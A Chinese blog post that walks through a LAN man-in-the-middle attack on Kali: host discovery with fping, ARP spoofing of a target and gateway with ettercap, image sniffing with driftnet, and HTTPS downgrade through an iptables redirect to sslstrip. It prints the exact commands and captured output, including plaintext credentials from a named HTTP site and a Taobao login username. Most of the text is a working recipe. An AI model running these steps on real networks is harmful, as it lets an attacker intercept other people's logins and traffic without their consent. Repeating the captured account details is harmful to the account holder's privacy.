一个简单的中间人攻击(2)

记录一个最简单的局域网中间人攻击方法,在kali上实现。

搜索目标IP

1
2
3
4
5
6
$ fping -g 192.168.1.0/24
192.168.1.1 is alive
192.168.1.5 is alive
192.168.1.200 is alive
192.168.1.100 is alive
......

192.168.1.0是网络地址,24是子网掩码1的位数。

可以搜索出网段内可以ping通的主机,假设现在目标主机为192.168.1.5

进行arp欺骗

arp欺骗可以使用arpspoof命令,不过ettercap命令功能更强而且可以嗅探,这里就直接使用ettercap

ettercap是有图形界面的,命令是ettercap -G,集成了更多功能,这里就简单介绍一下命令行方式。

执行下面的命令,启动ettercap

1
$ ettercap -i eth0 -Tq -M arp:remote //192.168.1.5//  //192.168.1.1//

  • -i指定了网卡;
  • -T选项是文本模式;
  • -q是安静模式;
  • -M也就是--mitm,man in the middle,中间人攻击,arp:remote指定了中间人攻击的模式;
  • 后面的ip,第一个为目标主机,第二个为网关

设置好这些参数后,你的笔记本会对目标主机和网管进行双向欺骗,也就是欺骗目标主机你是网关,同时欺骗网关你是目标主机,这样目标主机和网关之间的流量全部经过你的笔记本,你就可以用抓包工具(比如wireshark或者其他各种各样的)进行流量的嗅探了。

抓取明文账号/密码

有些网站的账号密码是用明文的,由于刚刚ettercap指定的-T选项,会自动在终端上显示明文内容:

现在的主流网站都用https协议加密了,明文传输的网站少之又少,基本都是一些没人管的网站了,这里我找到一个网站:网名网,可以用来实验这个抓取明文账号/密码的功能。

进入他的登陆页面,输入账号和密码,这里我用账号blablablabla,密码12345678
ettercap命令的显示如下:

1
2
3
4
5
6
7
8
9
10
11
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

HTTP : 122.114.69.160:80 -> USER: blablablabla PASS: 12345678 INFO: http://www.wangming5.com/e/member/login/
HTTP : 122.114.69.160:80 -> USER: blablablabla PASS: 12345678 INFO: http://www.wangming5.com/e/member/login/
CONTENT: ecmsfrom=&enews=login&tobind=0&username=blablablabla&password=12345678&lifetime=604800

CONTENT: ecmsfrom=&enews=login&tobind=0&username=blablablabla&password=12345678&lifetime=604800

可以看到抓到了明文账号和密码。

抓取图片

抓取图片使用driftnet命令,在启动ettercap进行arp欺骗后执行:

1
$ driftnet -i eth0

这个命令会打开一个窗口,直接显示抓到的图片;如果想要保存所有抓到的图片,可以使用-a选项保存所有图片,使用-d选项指定保存图片的路径,这里就用默认参数进行演示。

同样的,只能抓使用http进行传输的图片,可以用网易主页进行测试。

效果如下:

但是现在的主流网站都是用https协议了,用这种方法并不能抓到数据,怎么办呢。

剥离https为http

SSL(Secure Sockets Layer)在传输层和应用层之间提供了一层安全协议,防止中间人窃听甚至修改数据。httpssftpscpssh等协议都使用了SSL来提高安全性。

启用数据转发

执行下面的命令,将80端口(http)的数据转发到10000端口(进行SSL剥离):

1
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

启用SSL剥离

执行下面的命令:

1
$ sslstrip -l 10000

这个命令的作用就是攻击者接收到受害者的http封包后进行https封装发送给网站,接收到网站的https封包后解密发送给受害者,真正在上网的是攻击者,它是受害者的https代理。如果受害者访问的是https://的话,浏览器会提示证书错误,因为数字证书上的数字签名是无效的,我们需要再想办法伪造一个数字证书

好了,到此为止ssl剥离已经启用了,接下来可以在目标机器上进行测试了。

使用浏览器访问网站

打开谷歌的Chrome浏览器,访问www.taobao.com

机智的Chrome可以发现攻击者,并且不允许你进入,这条路走不通,当然Firefox肯定也是这个结果;
换个好一点的浏览器吧,我在网上下载了大家都喜欢用的360安全浏览器,当然是最新版,用它进行访问:

淘宝居然变成了http,网址前面还出现了让人放心的绿色标签。看到这个基本上可以确定SSL剥离已经成功了,然后随便浏览一下,观察一下driftnet能不能抓到图片:


可以抓到图片了,再尝试一下登陆操作,看看刚刚启动的ettercap是否能抓到账户和密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ettercap -i eth0 -Tq -M arp:remote //192.168.1.5//  //192.168.1.1//

......

六 4月 07 14:54:22 2018 [driftnet] warning: image data too small (43 bytes) to bother with
HTTP : 106.11.172.38:80 -> USER: lk361115629 PASS: INFO: http://login.taobao.com/member
/login.jhtml?redirectURL=http://www.taobao.com/markets/nvzhuang/taobaonvzhuang?spm=a21bo.2
017.201867-links-0.1.707111d9
CONTENT: username=lk361115629&ua=107%23ss%2F%2FkaS9sqQOFgbPyPAtXz91lnb0g%2F39QLb5TgwFgfhxX
KGF%2Fe8vlXdqMN7yggwBzKG%2BPI9dIze%2FVVm%2BpaRfKNJgbKiisRGxWBGQxMNP7URQe3fMJZuJmOanNxbnEU5
REOSXL0Tl8Txll3XhMmlhHw26FlIE8si6USs5XXE8OkOE%2FTFXXQ1%2BIKFdBX3XO8Xnl1SQXL0DscTEGrqXcTNnU
E8pdJp3a%2FV0GNYwZgDTy9iP7xQyhvZQcFZPF9Hat3%2FweVQb8vpo7cnw%2B9iyhvZQcdaAhvi2UAjKvPi7hZQW6
6H4kDYXcTNSQZaZbDQFZUeGt3iDe6V2Bf9yP5Fg37bqE21bF0FBbhMF3WYvt0egBQYg6lXkuBoXf06rF6F6bqLchhV
rtvqi2yO6BH3mtZobELvX0vpyt3nErCi%2F3du3jF%2F6WcMWZdB8DB8jImueIYyewh%2BI32C22Ltmg9uTqx10cvd
r9kXWbMnwCCVx87l7WHOH%2Bk9mukc9cd73F2q6EelUCCYwIkVVgygOgXpyhZNGc649x1V%2Fw%2FpwGujxC7VVgyg
OgXp4G1ZpQ2Aq9JQnhVgrCUVxd0g%2BmD%2Bg5gqg3gxe10xq3c9krqnOCOgDI5QLgyjTgFQ28Bke10xq3vgjhVuwC
CTd3292sTQmLDeghZsa0mUwFTtyCueqtupEe5n%2Bm9%2FABFCkucISvZZZ0dqgqzHIuWOv8kW27lOkiDTL3cJofc2
vF1%2BAhn9GbW%2FGumXJ7QOyBjjztx7wF5kRIZQyhhqDb%2Ft1t6isii%2BTg9jj8ms8Qv7pl6p%2FCVghb%2Ft1t
6isiTl%2FmiHOw6IqQm28D2EBe%2BhcuhVlodXJijyL2TT%2BuxvIfcPIv2rjqqWtuYnu8BttsBjM5X9VefNq0faaQ
1ikeu%2FU9oj8wvjimDYK7EqmFdcbfmaMr2qgqs%2BeCOyCe1DS6T%2F4iXjz8dcbfmaM8JDkU%2FgUenVcudrZgiH
syijj85Ge10xq3ZQja%2FnIG%2FQeUJjT69Q75gqg3gaIvJ7a929mpeThuujqI2qj7QyA7ECHoxUwl65dFJ%2FmwqK
EurQC30CK7Q%2FjKHuToc8F9LZV8vV5aeybduQqIKlFVJgrskXYdTaH8TmNrEeipVeht%2FMXQgQxJlWL7ipEGvwec
Z1r32EH3C%2BtvYMz3xljkB9L%2BcYnXlxWbLvRQ1bUMSY9lIzIxw3dP3QRPTqlXQxW

出现两个扎眼的关键字了,USER:username=,后面跟的就是用户名,不过密码加密了,我也不知道怎么获得密码。

-------------本文结束感谢您的阅读-------------